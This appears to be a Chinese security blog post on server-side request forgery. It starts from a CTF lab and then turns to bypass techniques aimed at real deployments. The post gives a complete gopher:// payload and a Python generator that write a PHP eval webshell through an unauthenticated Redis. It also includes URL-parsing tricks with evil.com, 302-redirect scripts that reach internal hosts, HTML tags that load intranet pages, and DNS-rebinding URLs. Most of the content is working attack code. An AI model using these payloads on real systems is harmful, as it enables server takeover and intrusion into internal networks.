SSRF漏洞篇
2025-05-25 23:54:49 # Web安全

SSRF打Redis

CTF show的WEB入门360关卡,打Redis。

源码如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

发现6379端口开放,6379端口,一般为Redis。

打入Payload:

1
gopher://127.0.0.1:6379/_%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25245%250D%250A1.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

成功。

使用到了gopher协议

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。

特定的协议开头,“_”后面跟着内容部分。

gopher://127.0.0.1:6379/_

Redis的语法

上述使用的Payload是基于存在Redis未授权漏洞的情况下,无需密码,下面我们来简单分析一下使用的payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
*3
$3
set
$1
1
$28


<?php eval($_POST[1]);?>


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$5
1.php
*1
$4
save

*3指的是三个变量,$3指的是字符的长度为3。

正常我们使用Redis的语法,首先需要进行登录,存在未授权可直接登录,不存在则需要密码登录。

redis-cli -h 192.168.73.150 -a password

上传Webshell。

1
2
3
4
set 1 <?php${IFS}eval($_POST[1]);?>
config set dir /var/www/html
config set dbfilename 1.php
save

注意:我注意到很多打CTF的同学使用的Gopherus去生成的payload,我发现Gopherus在生成payload时,使用到了flushall命令,该命令用于清空 Redis 服务器中的所有数据库,数据会被永久删除,切记不可用于实际环境中!

网上翻到的脚本,实测可行,SSRF打Redis的redis_shell.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from urllib.parse import quote
protocol="gopher://"
ip="127.0.0.1"
port="6379"
#shell
shell="\n\n<?php eval($_POST[1]);?>\n\n"
#文件名
filename="1.php"
path="/var/www/html"
#redis密码
passwd=""
cmd=[
#"auth passwd",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
print(cmd)
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += quote(redis_format(x))
#最后的结果要对"_"后面进行一次url编码
print(payload)

⚠️注意点

在使用SSRF打Redis时,对于"gopher://127.0.0.1:6379/_"后的内容需要进行一次url编码。

SSRF的绕过

学习SSRF不能仅仅局限于CTF比赛中,更多的是要运用在实际的环境中。

绕过URL匹配字符的限制

后端对请求的URL进行字符匹配检测。

下面,evil.com为恶意的域名,target.com为正常的业务域名。

例如,直接判断URL中是否包含某个target.com。使用@进行绕过。

1
https://target.com@evil.com

例如,使用字符串匹配的方式,判断域名中是否存在某个子域名,如必须包含qq.com

1
https://target.com.evil.com

解析的差异。

例如,前后端分离,对URL的解析差异不同,绕过检测。有的后端会把\.\@解析成.@,则会解析到evil.com。若把\解析为/,则不存在问题,还是正常解析到target.com

1
2
https://target.com\.evil.com
https://target.com\@evil.com

直接302跳转

利用302跳转,跳转到内网的地址上,实现SSRF

使用php代码实现,302.php如下:

1
2
3
4
5
6
7
<?php
// 设置跳转目标内网URL
$target_url='http://127.0.0.1/';
// 发送302跳转头信息
header('Location: ' . $target_url, true, 302);
exit();
?>

有条件的302跳转

要考虑实际环境中是否有相关的过滤。我自己想到的过滤有以下几种,具体要根据实际情况分析。

(1)、后端验证了跳转的目标域名

后端代码验证了跳转的目标URL的域名,是否为白名单中的域名。绕过这种验证,需要找到白名单域名中的一个302跳转,即可实现绕过。

自己的服务器上部署r.php,对应的URL为https://evil.com/r.php

1
2
3
4
5
6
7
<?php
// 设置跳转目标内网URL
$target_url='http://127.0.0.1/';
// 发送302跳转头信息
header('Location: ' . $target_url, true, 302);
exit();
?>

存在302跳转的白名单域名,如下:

https://vulnerable.com/?redirect_url=

则跳转的地址为:

https://vulnerable.com/?redirect_url=https%3A%2F%2Fevil.com%2Fr.php

vulnerable.com为白名单域名,绕过了白名单的限制。

(2)、后端验证了请求返回的数据包

后端代码对请求的URL的返回结果进行了验证。返回的响应数据包中的每一个内容都有可能作为后端限制的条件,这里绕过限制的方法就是去想办法构造,满足后端代码的判断条件,然后再进行302的跳转。

例如,即后端验证请求的URL返回的状态码只能是特定的,如200。此时要在使用dnslog进行SSRF测试的时候注意,后端代码对URL进行了几次请求,有可能的情况是先对URL请求一次验证状态码是200,满足条件后,后续几次请求未对返回内容进行验证。此时我们可以编写代码,进行请求次数的限定,第一次请求返回200,第n次请求返回302跳转,跳转到内网的地址中。

使用nodejs实现ssrf.js,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const express = require('express');
const app = express();
const PORT = 3000;

let requestCount = 0;

app.get('/1', (req, res) => {
requestCount++;

const personalInfo = {
name: "张三",
age: 28,
email: "zhangsan@example.com"
};

// 记录访问日志
const logMessage = {
timestamp: new Date().toISOString(),
requestCount: requestCount,
method: req.method,
headers: req.headers,
query: req.query,
};
console.log("访问日志:", JSON.stringify(logMessage, null, 2));
//请求的次数
if (requestCount <= 1) {
// 返回状态 200 和个人信息的 JSON 数据
res.status(200).json(personalInfo);
} else {
// 第 5 次访问,返回状态 302 跳转到百度
res.redirect(302, 'http://127.0.0.1/');
}
});

app.listen(PORT, () => {
console.log(`服务器正在运行,访问 http://localhost:${PORT}/1`);
});

请求第1次,返回正常的个人信息内容,请求第2次,则进行302跳转,跳转到内网中。

例如,后端代码验证的请求的URL只能是特定的User-Agent头。

使用php实现1.php,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 获取请求的 User-Agent
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// 检查 User-Agent 是否包含 okhttp/3.12.1
if (strpos($userAgent, 'okhttp/3.12.1') !== false) {
header('Location: https://www.baidu.com');
exit(); // 确保停止脚本执行
}else{
// 设置跳转目标URL
$target_url = 'http://127.0.0.1/';
header('Location: ' . $target_url, true, 302);
exit();
}
?>

内网html渲染

后端代码在处理前端传输的html内容时,会对输入的内容进行渲染,例如,文本转换为PDF、在线简历生成等可能存在html渲染的功能点。

(1)、使用iframe标签直接读取内网

代码如下:

1
<iframe src="http://127.0.0.1" width="800" height="10000"></iframe>

(2)、使用标签跳转内网

<meta><script>标签进行跳转。

1
2
<meta http-equiv="refresh" content="0; url=http://127.0.0.1/"/>
<script>window.location="http://127.0.0.1/"</script>

(3)、使用标签引入内网

1
2
<embed src="http://127.0.0.1/" width="600" height="800" type="text/html">
<object data="http://127.0.0.1/" width="600" height="800"></object>

DNS rebinding

https://lock.cmpxchg8b.com/rebinder.html

在请求时注意CDN缓存的问题,可以尝试修改请求的url。

http://7f000001.c0a80001.rbndr.us/flag.html?11

http://7f000001.c0a80001.rbndr.us/flag.html?22

http://7f000001.c0a80001.rbndr.us/flag.html?33